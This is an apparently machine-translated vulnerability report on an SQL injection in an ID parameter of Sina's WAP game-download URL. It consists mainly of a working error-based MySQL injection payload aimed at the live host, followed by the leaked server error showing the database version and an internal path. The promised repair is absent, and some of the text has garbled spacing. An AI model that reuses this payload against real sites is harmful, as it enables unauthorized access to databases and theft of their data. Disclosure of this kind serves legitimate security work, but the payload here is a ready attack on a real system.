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SQL Injection and repair for Sina WAP download Channel

Source: Internet
Author: User
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Detailed description:
Http://game.sina.cn/download/downpage/netarea/id/1600003/wapc/5000_0005_003

The SQL injection vulnerability is caused by lax id filtering and error-free processing.

Proof of vulnerability:
Http://game.sina.cn/download/downpage/netarea/id/163473379/wapc/5000_0005_003

Between and (select 1 from (select count (*), concat (0x7c, (select (Select version () from information_schema.tables limit 0, 1), 0x7c, floor (rand (0) * 2) x from information_schema.tables group by x limit 0, 1) a) % 23/wapc/5000_0005_003
Exception 'qdb _ Exception_DuplicateKey 'with message 'duplicate entry' | 5.1.49-log | 1' for key' group _ key "in/data0/htdocs/qeephp/library/db/adapter/ mysql. php 233

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